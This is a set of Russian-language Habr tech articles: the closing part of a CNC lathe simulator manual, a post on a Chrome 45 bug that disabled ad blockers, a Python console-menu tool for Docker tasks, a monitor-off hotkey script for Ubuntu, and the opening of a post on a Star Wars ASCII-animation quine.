Текстовое поле, расположенное в верхней части экрана предназначено для клавиатурного ввода названия файла. В случае работы на устройстве без физической клавиатуры предполагается использование виртуальной клавиатуры, являющейся компонентом операционной системы или автономным фоновым приложением. Ввод имени файла осуществляется без расширения. При вводе текста в поле поддерживаются только текстовые и цифровые символы. Максимальная длина вводимого текста составляет 128 символов. Если требуется перезапись существующего файла проекта, его необходимо выбрать в списке файлов. При этом в поле названия файла отобразится фактическое название выбранного файла.
Подтверждение (или отмена) действия в диалоговых экранах открытия и сохранения файлов осуществляется с помощью соответствующих кнопок, расположенных в правом нижнем углу экрана.
Третья кнопка панели навигации вызывает диалоговый экран настройки параметров заготовки (рис. 34).
**Рисунок 34** – Диалоговый экран настройки параметров заготовки
Основными элементами экрана настройки параметров заготовки являются поле размерной привязки и панель параметров заготовки. В поле размерной привязки изображена рабочая зона токарного станка с видом сверху. На условном чертеже представлены основные подвижные узлы станка: трёхкулачковый патрон, револьверная головка и задняя бабка (для длинных заготовок). С помощью соответствующих кнопок увеличения/уменьшения числовых значений первых четырех параметров (на правой панели) задаются основные размеры заготовки и её вылет из патрона (таблица 4).
Параметры L1 и L2 представляют собой фиксированные размеры трёхкулачкового патрона, отложенные от точки машинного нуля, обозначенной на чертеже буквой M. Параметр L3 представляет собой фактический вылет заготовки и зависит от заданных пользователем параметров L, D и L4.
Группа из десяти параметров, расположенных в нижней части правой панели, предназначена для изменения значений нулевых корректоров станка или, другими словами, для позиционирования нулей W2–6 пяти дополнительных рабочих систем координат, переключение между которыми осуществляется программно с помощью соответствующих функций G55–G59. Координаты нулей дополнительных систем координат отсчитываются от точки машинного нуля. Основная рабочая система координат с нулем W1 всегда позиционируется на правом торце заготовки, закреплённой в патроне, с учётом припуска на первичную торцевую обработку L5. Рабочие системы координат и их нули изображены на чертеже цветными осями и соответствующими значками (рис. 35).
**Рисунок 35** – Фрагмент чертежа размерной привязки заготовки
Наряду с заготовкой в поле чертежа размерной привязки изображена револьверная головка с установленным в неё инструментом. Если револьверная головка укомплектована осевым инструментом, на чертеже одновременно изображаются сверло с номинальным продольным вылетом Zm и резец для наружной обработки с номинальным поперечным вылетом Xm (рис. 36.а). При использовании инструментов только для наружной обработки осевой инструмент на чертеже не показывается (рис. 36.б).
**Рисунок 36** – Различные варианты комплектации револьверной головки при использовании осевого инструмента (а) и без использования осевого инструмента (б)
Референтное положение револьверной головки определяется таким образом, чтобы теоретический инструмент с номинальными вылетами Zm и Xm имел безопасные продольный Z' и поперечный X' отступы от правого нижнего угла контура заготовки в плане. Значения безопасных отступов Z' и X' не регулируются и составляют 30 мм.
При выставлении размеров заготовки автоматически контролируется соблюдение условия поджатия длинных заготовок задним центром. Так, если значение вылета L3 превышает 3 диаметра заготовки, в поле чертежа отображается пиноль задней бабки с установленным в неё задним центром. При смене установа детали после первой обработки переналадка станка в отношении привязки заготовки и нулей рабочих систем координат не производится.
Четвертая кнопка панели навигации вызывает диалоговый экран настройки параметров инструмента (рис. 37). В левой части экрана представлен список (каталог) инструментов, включающий 185 наименований различных инструментов для наружной и внутренней обработки деталей. Каждая позиция списка начинается с интерактивной пиктограммы инструмента, в общих чертах характеризующей форму пластины и рекомендуемые направления рабочих подач. Справа от пиктограммы инструмента идут порядковый номер и краткое текстовое описание инструмента, включая его геометрические характеристики и вид токарной обработки, в которой рекомендуется использовать данный инструмент. Список инструмента снабжен вертикальной полосой прокрутки.
В правой части экрана настройки параметров инструмента сверху расположен ряд квадратных ячеек с порядковыми номерами с 1 по 8, что соответствует позициям револьверной головки.
**Рисунок 37** – Диалоговый экран настройки параметров инструмента
Для установки инструмента в нужную позицию револьверной головки необходимо навести указатель мыши на пиктограмму с изображением инструмента в списке, затем нажать левую кнопку мыши, и, удерживая её нажатой, переместить пиктограмму на свободную ячейку в правой верхней части экрана, после чего отпустить кнопку мыши. В случае если инструмент перемещается на уже занятую позицию, он будет автоматически возвращен в каталог. При работе на устройстве с сенсорным экраном перемещение пиктограмм инструментов осуществляется аналогичным образом путем непрерывного касания экрана с перемещением по экрану.
Возврат установленного инструмента в каталог осуществляется аналогичным перемещением пиктограммы. При этом пиктограмму возвращаемого инструмента достаточно переместить в любую область поля списка инструментов.
Для перестановки уже установленного инструмента с одной позиции на другую (свободную или занятую другим инструментом) достаточно переместить пиктограмму в пределах блока позиций револьверной головки. Если при этом ячейка, в которую перемещается инструмент, уже занята другим инструментом, данные инструменты будут поменяны местами.
Ниже блока позиций револьверной головки представлен чертеж размерной привязки инструмента, отображающий модель инструмента и оснастки в плане, фактические значения продольного и поперечного вылетов, а также геометрическую схему режущей пластины инструмента в плане.
Положение точки нуля инструмента, обозначенной соответствующим значком, не подлежит изменению, и соответствует центру отверстия в плоскости лицевой поверхности револьверной головки.
Вылеты инструмента могут изменяться в зависимости от типа инструмента с помощью кнопок увеличения/уменьшения значения вылета, расположенных в нижней правой части поля чертежа размерной привязки (рисунок 38). Для наружных инструментов изменяется поперечный вылет по оси X в меньшую сторону, а для осевых инструментов – продольный вылет по оси Z в большую или меньшую сторону.
Настройка вылетов инструментов является одним из этапов наладки станка. Укорочение вылета осевых инструментов путем их заглубления в полость технологической оснастки (и, соответственно, револьверной головки) позволяет расширить границы рабочего пространства станка при обработке наружной поверхности вблизи патрона при условии, что в револьверной головке закреплены как осевые инструменты, так и инструменты для наружной обработки.
Переключение между инструментами, установленными в револьверную головку, осуществляется с помощью соответствующих кнопок «влево»/«вправо», расположенных в правом верхнем углу поля чертежа размерной привязки. Основные геометрические параметры инструмента отображаются в нижней части чертежа.
**Рисунок 38** – Вид чертежа размерной привязки инструмента
Осевой инструмент не используется в случае поджатия заготовки задним центром. При этом если револьверная головка предварительно укомплектована осевым инструментом, а размеры заготовки изменяются во вторую очередь, в результате чего задействован задний центр, осевой инструмент автоматически возвращается в каталог. Во избежание данной ситуации комплектацию револьверной головки следует производить после размерной привязки заготовки.
Пятая кнопка панели навигации отображает на главном экране симулятора встроенный текстовой редактор управляющих программ (рис. 39). Текстовой редактор имеет в верхней части панель функциональных кнопок, необходимых для работы с кодом управляющей программы станка. Основную часть текстового редактора занимает текстовое поле, оснащённое вертикальной и горизонтальной полосами прокрутки. В правой нижней части редактора расположена кнопка отображения/скрытия виртуальной клавиатуры.
**Рисунок 39** – Вид главного экрана симулятора с открытым редактором управляющих программ
Набор текста в текстовом поле может осуществляться как с помощью физической, так и с помощью виртуальной клавиатуры (рис. 40).
**Рисунок 40** – Виртуальная клавиатура для набора текста в редакторе кода
Основные операции по редактированию текста в редакторе кода аналогичны операциям редактирования текста в стандартном текстовом редакторе «Блокнот» операционной системы Microsoft Windows. Редактор позволяет осуществлять стандартные операции по редактированию текста, включая передачу данных через системный буфер обмена (операции копирования, вырезки и вставки фрагментов текста). Выделение фрагментов текста осуществляется тремя способами, включая операции курсорными клавишами физической клавиатуры (с нажатой клавишей Shift), кнопками мыши и сенсорного взаимодействия с экраном (с помощью специальной кнопки Select Start виртуальной клавиатуры).
Панель функциональных кнопок текстового редактора включает 8 кнопок (рис. 41), статус активности которых зависит от текущего состояния процесса симуляции, а также наличия выделенного фрагмента текста.
**Рисунок 41** – Панель функциональных кнопок редактора кода
Если в тексте управляющей программы не выделено ни одного фрагмента, кнопка «Копировать» (1) имеет дополнительную надпись «ALL». Это означает, что при нажатии на данную кнопку в буфер обмена будет скопирован весь текст управляющей программы. В противном случае (при наличии выделенного фрагмента текста) в буфер обмена копируется только выделенный текст. Кнопка «Вырезать» (2) активируется при наличии выделенного фрагмента текста. При нажатии на данную кнопку осуществляется стандартная операция копирования с последующим удалением выделенного фрагмента из текста. Кнопка «Вставить» (3) активируется при наличии текста в буфере обмена. Вставка осуществляется в позицию нахождения мерцающего курсора (каретки). Если при этом в тексте выделен фрагмент, данный фрагмент текста заменяется. Кнопка «Удалить» (4) предназначена для моментального удаления всего текста управляющей программы с подтверждением. Кнопки «Пуск», «Пауза», «Стоп» (5-7) предназначены для управления процессом симуляции. Для начала выполнения управляющей программы необходимо нажать на кнопку «Пуск». В процессе симуляции редактирование управляющей программы недоступно. Кнопка «Справочник используемых кодов» (8) предназначена для вывода на экран перечня используемых G/M-кодов с кратким описанием их формата.
Ниже панели функциональных кнопок текстового редактора управляющих программ расположены 5 интерактивных вкладок с названиями управляющих программ текущего проекта. С помощью данных вкладок осуществляется переключение между управляющими программами. При запуске процесса симуляции выполняется текущая открытая управляющая программа.
В левой части главного экрана симулятора находятся дополнительные функциональные кнопки (рис. 42), отвечающие за различные настройки программы.
**Рисунок 42** – Дополнительные функциональные кнопки главного экрана программы
Кнопка «О программе» (1) отображает на экране информацию о текущей версии программы, контактную информацию разработчика, а также лицензионную информацию. Кнопка «Переключение языка» (2) предназначена для переключения языковых настроек графического интерфейса программы. В зависимости от текущего языка изображение на кнопке меняется. По умолчанию после инсталляции программа работает в режиме английского языка. Кнопка «Включение/Выключение звука» (3) используется для включения/выключения звукового сопровождения процесса симуляции. Кнопка «Переключение режима графики» (4) предназначена для переключения режима отображения 3D модели станка и окружения. При этом доступно два режима отображения – режим высокополигональной графики (включен по умолчанию) и режим низкополигональной графики, предназначенный для скрытия второстепенных графических элементов. В режиме низкополигональной графики геометрическая модель станка существенно упрощена и показана моноцветными полупрозрачными блоками. В данном режиме не отображаются графические текстуры, отсутствует имитация окружения, смазочно-охлаждающей жидкости и стружки. Режим низкополигональной графики используется в случае, если необходимо сконцентрировать внимание пользователя на контуре обрабатываемой детали и траекториях перемещения инструмента. В зависимости от текущего графического режима изображение на кнопке меняется. Кнопка «Включение/Выключение 2D геометрии» (5) предназначена для включения/выключения двухмерных геометрических построений в трёхмерном пространстве симулятора. Под 2D геометрией понимаются такие графические элементы, как координатные оси, значки нулевых точек и контуры обрабатываемой детали и инструмента. При обработке внутренних поверхностей детали (сверлении и растачивании) отображение 2D контура детали в наиболее полной мере способствует визуальному контролю процесса обработки внутренних поверхностей. Кнопка «Включение/Выключение траекторий перемещения инструмента» (6) предназначена для включения/выключения функции отображения траекторий перемещения резцов и свёрел в плоскости резания. Расчёт траектории перемещения каждого установленного в револьверную головку инструмента осуществляется с момента запуска симуляции до момента её завершения. Траектории отображаются сплошными цветными линиями.
Также на главном экране программы отображается дополнительная текстовая информация: номер текущего установа детали, текущее время симуляции, координаты расчётной точки резца, параметры скоростного режима обработки. Если в процессе симуляции текстовой редактор управляющих программ закрыт, в верхней части главного экрана отображаются кнопки управления процессом симуляции «Пуск», «Пауза», «Стоп» и строка текущего выполняемого кадра (рис. 43).
**Рисунок 43** – Дополнительные элементы главного экрана программы в процессе симуляции при закрытом текстовом редакторе
После выполнения обработки детали с первого установа в левой части главного экрана отображается дополнительная кнопка смены установа (рис. 44.а). После смены установа с первого на второй контур детали зеркально отражается относительно центра масс исходной заготовки в направлении оси Z, и на экране отображаются дополнительные три кнопки продольного смещения детали (рис. 44.б). Нажатие на кнопку 1 приводит к дискретному продольному смещению детали влево (в сторону точки машинного нуля). Нажатие на кнопку 2 приводит к смещению детали вправо. Кнопка 3 служит для обнуления заданных смещений детали. При этом следует учитывать, что повторная привязка заготовки не осуществляется (расположение нулевых корректоров сохраняется с предыдущей настройки).
**Рисунок 44** – Дополнительные кнопки настройки установа детали
Повторный вызов диалогового экрана параметров заготовки после осуществления обработки детали с первого установа инициирует диалоговый экран подтверждения сброса изменений контура детали.
В нижней части главного экрана программы мелким шрифтом отображается системная информация о ресурсах: текущее значение кадровой частоты (Frame Per Second), объем используемой видеопамяти в мегабайтах, количество единовременно отображаемых на экране полигональных фасетов, количество загруженных в память рисунков, количество используемых графических спрайтов и время прорисовки одного полноэкранного кадра в секундах.
В левом нижнем углу главного экрана расположена кнопка переключения режима виртуальной камеры (рис. 45). На кнопке изображен номер целевого (следующего по счёту) режима камеры, на который будет переключен экран. Всего предусмотрено 5 режимов работы камеры.
**Рисунок 45** – Кнопка переключения режима виртуальной камеры в различных вариантах отображения
Режим №1 виртуальной камеры является управляемым. При этом камера перемещается в сферической системе координат вокруг точки фокусировки (рис. 46). Точка фокусировки камеры может перемещаться в вертикальной фронтальной плоскости пространства модели. Кроме того, камера может дистанцироваться относительно точки фокусировки на произвольное расстояние, ограниченное габаритами пространства.
Основные манипуляции с камерой в режиме №1 осуществляются с помощью компьютерной мыши (сенсорное управление описано ниже). При этом нажатие и удерживание левой кнопки мыши с сопутствующим перемещением мыши приводит к перемещению точки фокусировки камеры во фронтальной плоскости пространства. Нажатие и удерживание правой кнопки мыши с сопутствующим перемещением мыши приводит к вращению камеры относительно точки фокусировки. Углы вращения (азимут и элевация) камеры ограничены габаритами пространства модели. Изменение дистанции камеры осуществляется вращением колеса прокрутки в прямом и обратном направлениях.
**Рисунок 46** – Схема управления камерой в режиме №1
Справа от кнопки переключения режима камеры (в режиме №1) отображается кнопка отключения управления камерой с помощью мыши (рис. 47.а).
**Рисунок 47** – Кнопка переключения режима виртуальной камеры в различных вариантах отображения
При отключении управления камерой с помощью мыши в нижней части главного экрана отображается группа кнопок-переключателей (рис. 47.б) для осуществления сенсорного управления камерой в режиме №1. Кнопка 1 активирует операцию смещения точки фокусировки камеры, кнопка 2 – операцию вращения камеры относительно точки фокусировки, а кнопка 3 – операцию изменения дистанции от камеры до точки фокусировки, соответственно. Сами манипуляции при этом осуществляются путём взаимодействия с сенсорным экраном.
Режимы камеры №2-5 предназначены для позиционирования камеры в точки с фиксированным ракурсом. Режим №2 позиционирует камеру над вершиной текущего инструмента (вид сверху). Перспективные искажения камеры в данном режиме отключены (используется ортогональная проекция). В режиме №3 камера работает в изометрии. Режимы №4 и №5 фиксируют камеру в двух дополнительных точках обзора.
Все настройки программы, включая положение камеры, сохраняются при завершении работы.
В симуляторе не имитируется конкретное программное обеспечение системы ЧПУ. Панель управления станком представлена условным дисплеем, на котором в процессе симуляции выводится основная технологическая информация (рис. 48). В левой верхней части дисплея представлены текущие координаты расчётной точки резца по осям X и Z. Это координаты программируемой точки, лежащей на траектории перемещения инструмента, в текущий момент времени. В исходном состоянии данные значения представлены в миллиметрах. При программном изменении системы измерений координаты (а также значение подачи) отображаются в дюймах. Единицы измерения отображаются справа от самих числовых значений координат. Все поперечные перемещения программируются на диаметр заготовки. Поэтому координатные оси X и Z имеют разный масштаб.
В левой нижней части дисплея отображаются (желтым цветом) текущие технологические параметры: частота вращения шпинделя S (об/мин), рабочая подача F (мм/мин) и номер текущей позиции револьверной головки T.
В правой нижней части дисплея расположены 6 ячеек для отображения активных модальных функций системы ЧПУ. Слева направо в ячейках отображаются следующие функции: направление вращения шпинделя M03/M04, работа системы СОЖ M07–M09, текущая рабочая система координат G53–G59, тип рабочей подачи G98/G99 и тип интерполяции G00–G03.
**Рисунок 48** – Внешний вид дисплея СЧПУ имитационной модели станка
Перспективы развития проекта
----------------------------
Ближайшие перспективы развития представленного проекта включают в себя ряд задач.
Задача №1: расширение функционала программного продукта в части технологии токарной обработки, включая: автоматизированную подготовку расчётно-технологической карты обрабатываемого изделия, систему контроля размеров изделия на всех этапах симуляции технологического процесса, совместимость форматов управляющих программ, а также поддержку стандартов существующих CAD/CAM пакетов.
Задача №2: реализация возможности пользовательской конфигурации моделируемого станка, включая: выбор типа компоновки основных узлов станка, выбор и изменение типов технологической оснастки и инструмента, симуляцию этапов наладки станка на осуществление конкретных технологических операций.
Задача №3: расширение функционала в части числового программного управления станка, включая: поддержку дополнительных систем ЧПУ, имитацию интерфейса панелей управления конкретных систем ЧПУ, реализацию возможностей макропрограммирования и диалогового программирования технологических операций.
Задача №4: реализация физико-математической модели процесса токарной обработки с учётом свойств материалов, и построение на её основе компонента экспертной системы, осуществляющей диалог с пользователем в форме рекомендаций и корректирующих подсказок.
Задача №5: модификация алгоритма формообразования детали, дающая возможность симуляции операций фрезерной обработки с использованием соответствующего приводного инструмента.
Наряду с перечисленными основными задачами необходимо внести ряд оптимизаций в общий функционал программного продукта.
Выводы и заключения
-------------------
На текущий момент достигнутые результаты по проекту в полной мере отвечают поставленным в начале работы целям и задачам. Программный продукт апробирован в учебном процессе на базе нескольких образовательных организаций, в том числе в Майкопском государственном технологическом университете, АНО «УЦДПО ГородМастеров-НН» и Центральном университете Квинсленда (CQUniversity, Австралия). Мобильные версии приложения проходят апробацию среди частных пользователей посредством платформ [GooglePlay](https://play.google.com/store/apps/details?id=com.virtlab.cncsim_free) и [AppStore](https://apps.apple.com/ru/app/cnc-lathe-simulator-lite/id1499335803). Расширение функциональности в части реализации описанных выше перспективных задач позволит улучшить показатели эффективности программного продукта и повысить его конкурентоспособность в целом.
Библиографический список
------------------------
1. Gökçe Harun – Object Modeling Based Polygon For 3D CNC Lathe Simulation Softwares // Journal of Polytechnic, 2016; 19 (2): 155-161.
2. Okan Topçu, Ersan Aslan – Web-based Simulation of a Lathe using Java 3D API // 2nd International Symposium on Computing in Science & Engineering. 2011.
3. Абрамова О. Ф. – Сравнительный анализ алгоритмов удаления невидимых линий и поверхностей, работающих в пространстве изображения / О.Ф. Абрамова, Н.С. Никонова // НоваИнфо. Технические науки. 2015. №38-1.
4. David Douglas, Thomas Peucker – Algorithms for the reduction of the number of points required to represent a digitized line or its caricature // The Canadian Cartographer 10(2), 112-122 (1973).
5. John Hershberger, Jack Snoeyink – Speeding Up the Douglas-Peucker Line-Simplification Algorithm // Proc 5th Symp on Data Handling, 134-143 (1992).
6. Ahmet Gencoglu – Physics Based Turning Process Simulation / A Thesis Submitted In Partial Fulfillment Of The Requirements For The Degree Of Master Of Applied Science // The University of British Columbia (Vancouver). August, 2011. 122 p. | https://habr.com/ru/post/489076/ | null | ru | null |
# Браузер Chrome научился обманывать блокировщики рекламы
Если у вас последняя версия Chrome/Chromium и установлено расширение для блокировки рекламы вроде uBlock или AdBlock Plus, то вы могли заметить странное изменение в работе блокировщика. После обновления на последнюю версию Chrome/Chromium 45 в видеороликах YouTube снова появилась реклама. В начале некоторых видеороликов приходится просмаnривать рекламу продолжительностью [до трёх минут](https://twitter.com/r4rev2/status/640724992930500608).
Несколько дней после выхода новой версии браузера проблему обсуждали в [баг-трекере Chromium](https://code.google.com/p/chromium/issues/detail?id=526413#c6) и на [форуме разработчиков uBlock](https://github.com/gorhill/uBlock/issues/675#issuecomment-137978118). Как выяснилось, баг затронул все блокировщики рекламы, а блокировка отключилась не только на YouTube, но ещё на Spotify и некоторых других сайтах.
К счастью, «баг» в браузере легко устранить самостоятельно.
Проблема оказалась в новом коде Web Request, который компания Google внедрила в браузер за последние недели. Из-за него браузер начинает рассматривать установленные приложения, как YouTube и Spotify, в качестве расширений браузера, на которые **не распространяется действие других расширений**, таких как блокировщик рекламы.
Чтобы исправить ситуацию, нужно всего лишь удалить YouTube или Spotify из списка установленных приложений в браузере.
1. Открыть новую вкладку.
2. Набрать `chrome://apps` в адресной строке.
3. Удалить приложение YouTube или Spotify (правая кнопка мыши, «Удалить из Chrome...»).
4. Перезапустить браузер.
Удаление YouTube из списка установленных приложений никак не влияет на работу сайта YouTube. | https://habr.com/ru/post/383831/ | null | ru | null |
# Меню консольных команд на python
Приветствую Вас, коллеги. Меня зовут Рустам, я работаю в небольшой компании, которая занимается web-разработкой и продвижением сайтов.
Очень часто во время работы над каким-либо проектом возникают задачи решение которых требует ввода в консоль нескольких команд, такие как, например, пересборка фронтенда, запуск/остановка нескольких docker-контейнеров, развертывание окружения на новом девелоперском компе и тому подобные вещи.
Это вообщем то не сложно, но зачастую подобные задачи возникают весьма регулярно, требуют повторения, превращаясь в рутину.
И вот, собственно, однажды возникла идея как сократить время на это вот все, максимально упростив процесс, реализовав небольшую утилиту, позволяющую обернуть наборы часто производимых действий в пункты удобного меню выводимого в консоль.
Реализовать решил на Python т.к. из коробки он установлен на большинстве дистрибутивах линукс, и для использования не потребуется установки дополнительных пакетов.
Получилось нечто весьма удобное доступное для клонирования c [гитхаб](https://github.com/hrustbb2/console-menu).
Все настройки (а именно что по какому пункту должно выполняться) хранятся в файле menu.yml.
Файл настроек приведенный в качестве примера в репозитории снабжен всеми необходимыми коментариями, но для того, чтобы все стало еще понятней есть рабочий пример на гитхабе (<https://github.com/hrustbb2/env-example>).
В качестве примера приведено приложение состоящее из трех docker-контейнеров (php, mysql, nginx) с отдельными конфигами для девелоп и продакшен окружений и двумя отдельными сценариями деплоя в этих окружениях.
Итак, клонируем, запускаем ./env и видим меню из трех пунктов:
```
0. Exit
1. Develop
2. Production
Chose action: _
```
Развернем наше приложение в девелоп-режиме, для этого выбираем пункт 1, проваливаемся в подменю:
```
0. Exit
1. Build
2. Deploy and Up
3. Up
4. Stop
5. Remove
Chose action: _
```
Здесь вначале создадим наши контейнеры выбрав 1, после чего необходимо придумать и ввести имя приложения. Здесь хочу обратить Ваше внимание на то, что параметры необходимые для выполнения тех или иных команд требуются ввести лишь один раз, далее они сохраняются в env.ini файл и при повторном запуске вводить их не требуется. Затем, немного подождав пока завершится создание контейнеров, запустим скрипт для деплоя самого приложения, выбрав 2.
В данном примере скрипт клонирует в ./app стартовое приложение Laravel, установит необходимые composer-пакеты, накатит миграции и создаст файл конфигурации .env. Делается это только один раз в самом начале, в последствии окружение запускается выбором пункта 3. Пункт 5 служит для удаления созданных контейнеров после того как они стали больше не нужны, например когда работа над проектом окончена.
Вот пожалуй все, теперь открываем в браузере [localhost](http://localhost) и продолжаем работу.
Иногда на продакшене возникает необходимость запускать некоторые команды автоматически по крону, например обновление SSL сертификатов, backup и т.п. В этом случае запускаем, например ./env -e 1-2-3, где 1-2-3 путь до нужной команды в меню.
Мне и моим коллегам принес немало пользы, немного облегчив им труд, надеюсь инструмент будет полезен и вам.
Всем удачи. | https://habr.com/ru/post/488946/ | null | ru | null |
# Выключение монитора горячей клавишей
Жаль, что возможность обычным способом выключать монитор горячей клавишей сломалась в одной из предыдуших версиях Убунту. Простенький симпатичный скрипт может вернуть этот нужный функционал (предположительно обладателям ноутбуков) за несколько несложных телодвижений.
Как, наверное, многие знают, старый способ выключения монитора через использование команды **xset**:
`xset dpms force off`
Вообще существует несколько вариаций на сию тему, но по крайней мере начинай от Ubuntu Karmic (9.10), эта возможность была сломана. Некоторые системные вызовы, по-видимому, не очень хорошо справляются с этой командой, вызывая пробуждение экрана приблизительно через минуту. Это, конечно, вызывало неудобства некоторое время, пока я не нашел для себя способа, заслуживающего на использование. На [убунтуфорумах](http://ubuntuforums.org/) предлагалось использовать данную команду в цикле, что, естественно, повышало показатели использования процессора, а другие способы не были столь элегантными. Но благодаря пользователю nxmehta, было найдено решение — а именно использовать Python для достижения цели. Скрипт, который был написан работает по крайней мере на релизах от Karmic по Natty.
Для начала, вы должны установить, кроме самого питона пакет python-xlib. Для этого достаточно в терминале выполнить команду:
`sudo apt-get install python python-xlib`
Следующее, что нужно сделать — это открыть текстовый редактор (например, gedit) и скопипастить следующий код:
> `1. #!/usr/bin/python
> 2.
> 3. import time
> 4. import subprocess
> 5. from Xlib import X
> 6. from Xlib.display import Display
> 7.
> 8. display = Display(':0')
> 9. root = display.screen().root
> 10. root.grab\_pointer(True,
> 11. X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask,
> 12. X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)
> 13. root.grab\_keyboard(True,
> 14. X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)
> 15.
> 16. subprocess.call('xset dpms force off'.split())
> 17. p = subprocess.Popen('gnome-screensaver-command -i'.split())
> 18. time.sleep(1)
> 19.
> 20. while True:
> 21. print display.next\_event()
> 22. p.terminate()
> 23. break
> \* This source code was highlighted with Source Code Highlighter.`
Что он делает — я думаю, останавливаться не стоит из-за его простоты.
Сохраните ваш файл где-нибудь, дав нужное название. У меня выработалась привычка для исполняемых скриптов использовать папку bin, которая хранится в моей домашней папке. Кстати, скрипты в этой папке будут «видны» без указывания абсолютного пути. Все благодаря нехитрым строкам в файле ~/.profile:
`# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
PATH="$HOME/bin:$PATH"
fi`
Итак, файл ~/bin/screen\_off.py занял место возле других моих скриптов.
Следующий шаг — сделать его исполняемым. Можете это сделать быстрым *chmod +x ~/bin/screen\_off.py*, но если вы пока не умеете пользоваться консолью (что зря), то можете воспользоваться графической частью оболочки:
Правокликните на файле и выберите пункт Свойства (Properties):
На вкладке Права (Permissions) и установите галочку Позволить выполнение файла как программы «Allow executing file as program».
Теперь вы можете назначить любое клавиатурное сокращение этому скрипту. Я выбрал Caps Lock, но если у вас ~~кривые пальцы~~ предпочтение использовать другую клавишу — без проблем. В моем случае мне нужно вначале деактивировать использование этой клавиши. Это можно сделать через меню Клавиатура > Раскладки > Параметры раскладки (Keyboard > Layouts > Options):
Вот здесь и можно ее отключить, отыскав и выбрав пункт «Поведение клавиши Caps Lock» (Caps Lock behavior) и снять соответственную галочку.
Впрочем все это тоже можно без труда сделать, не прибегая графической оболочки через gconftool-2, как, например, у меня:
`$ # Отключить Caps Lock
$ xmodmap -e "remove lock = Caps_Lock"
$ # Сделать биндинг на свой скрипт:
$ gconftool-2 -a /desktop/gnome/keybindings/custom0
binding = VoidSymbol
action = /home/your_username/bin/screen_off.py
name = Screen_Off`
Наконец, чтобы назначить скрипт клавише, откройте диалог Комбинации клавиш клавиатуры, (Keyboard Shortcuts).
Нажмите Добавить, дайте любое имя клавиатурному сокращению, и команду — путь к созданному файлу. Нажмите Применить и потом щелкните на поле Комбинация клавиш, после чего нажмите нужную клавишу-сокращение. Если вы деактивировали Caps Lock, вы увидите текст «VoidSymbol».
Все! Жмите! Надеюсь, этот способ пригодится для того, чтобы немножко сэкономить батарею вашего ноута. | https://habr.com/ru/post/118625/ | null | ru | null |
# Звездные войны в исходном коде
[](http://habrahabr.ru/post/190616/)
У меня давно была идея реализовать что-нибудь интересное, связанное с квайнами. И наконец-то получилось довести это дело до конца. Когда-то увидел реализацию игры «Жизнь» в исходном коде: [Self Printing Game of Life](http://igoro.com/archive/self-printing-game-of-life-in-c/) и мне захотелось сделать нечто похожее. Некоторое время поразмыслив, я вспомнил, что существует [ASCII-графика](http://ru.wikipedia.org/wiki/ASCII-%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D0%BA%D0%B0). Но еще интересней и сложнее было бы сделать анимацию в ASCII-графике. Пример долго искать не пришлось, почти сразу же были найдена анимация «Звездных войн», а точнее 4 эпизода «Новая Надежда» под названием [Asciimation](http://asciimation.co.nz/#). Работа японского программиста Yusuke Endoh [«квайновая эстафета»](https://github.com/mame/quine-relay) также подстегнула меня к реализации этой идеи. В процесс реализации такого «фильма» пришлось решить множество других проблем, о чем, впрочем, жалеть не пришлось.
Получившийся исходник вот: [gist](https://gist.github.com/KvanTTT/061e2a2ecebcfd8bc246). Для облегчения «просмотра» там также содержится скрипт, который и будет крутить всю анимацию. Исходники же всего проекта для его генерации, интерфейса и других утилит выложены на гитхабе: [Freaky-Sources](https://github.com/KvanTTT/Freaky-Sources) (Туда же включены квайны-палиндромы, о которых я уже [писал](http://habrahabr.ru/post/189192/)). Понятное дело, что подобная вещь не несет в себе никакой практической пользы, это просто just for fun.
#### Введение
Анимацию в квайне можно выводить только одним способом: выводить каждый следующий кадр в консоль при каждой компиляции. Соответственно скорость «фильма» в таком случае зависит от размера кода (чем больше код, тем дольше он будет компилировать и пролистываться в консоли), алгоритма распаковки, скорости компиляции (железа). Причем код, главным образом, занимают сжатые кадры анимации.
Вышеупомянутая «игра Жизнь» в качестве поля использует строки, которые инициализируются и выводятся в начале исходного кода программы. Такой подход допустим, если количество кода невелико, и в процессе компиляции он всегда будет виден. Однако в моем случае размер кода составляет несколько сотен килобайт, а значит выводить кадры нужно обязательно в конце, чтобы их можно было увидеть. Было решено выводить кадры не в виде настоящих строчек, а в виде однострочных комментариев (многострочные тоже можно использовать), что позволило выводить их без лишних хвостовых символов (конечной фигурной скобочки) и кавычек.
Так как ~~у меня невысокий IQ~~ я не обладаю особыми способностями и не могу оперировать большим количеством параметров в голове, я решил по максимому автоматизировать процесс написание квайна. К тому же это позволило лучше понять структуру квайна и получить опыт в смежных областях (парсинг и обработка исходного кода C# с помощью NRefactory).
#### Этапы генерации квайна
Таким образом, я решил разбить процесс написания любого квайна на следующие этапы:
* Генерация кода.
* Генерация данных.
* Минификация кода.
* Форматирование кода.
* Генерация квайна.
Все эти этапы выполняются для специальным образом составленного шаблона. Под «кодом», применительно к звездным войнам, подразумевается код, который который распаковывает сжатые данные. А данными и является запакованный массив кадров анимации. Минификация нужна для того, чтобы ~~сделать код нечитаемым~~ уменьшить текстовый размер кода.
Правда в начале была написана версия с обычным классом .NET GZipStream для распаковки сжатых данных. Но я подумал, что это не спортивно, к тому же такой класс существует только для данной платформы. Таким образом, я написал более сложную версию с собственным архиватором.
Для того, чтобы было легче ориентироваться в этих этапах, я написал интерфейс на WinForms.
[](//habrastorage.org/files/172/903/6b2/1729036b28bb47cda01c2f87b6f5cae1.png)
* Слева вверху текстовое поле, в которое вводится шаблон квайна со всеми маркерами. Их предназначение рассматривается ниже. Первые четыре этапа выполняются именно в этом поле.
* Слева внизу различные параметры и кнопки для выполнения вышеупомянутых этапов. Также код шаблона или результирующего квайна можно сразу же проверить на ошибки с помощью компиляции.
* Справа вверху поле, которое заполняется кодом квайна, сгенерированном на последнем этапе.
* Справа вверху поле, в которые выводятся выводится следующая итерация квайна после компиляции. Также кнопка «Console Output -> Output» с количеством итераций нужна для того, чтобы зациклить процесс компиляции квайна и увидеть покадровую анимацию (ну или что-то еще).
Для подсветки C# синтаксиса использовался компонент [BigObfuscator](https://habr.com/users/bigobfuscator/) [FastColoredTextBox](https://github.com/PavelTorgashov/FastColoredTextBox). К сожалению, он работает довольно медленно, так что результирующий «фильм» удобней смотреть через обычную консоль (хотя в ней, к сожалению, тоже не очень быстро).
##### Шаблон квайна
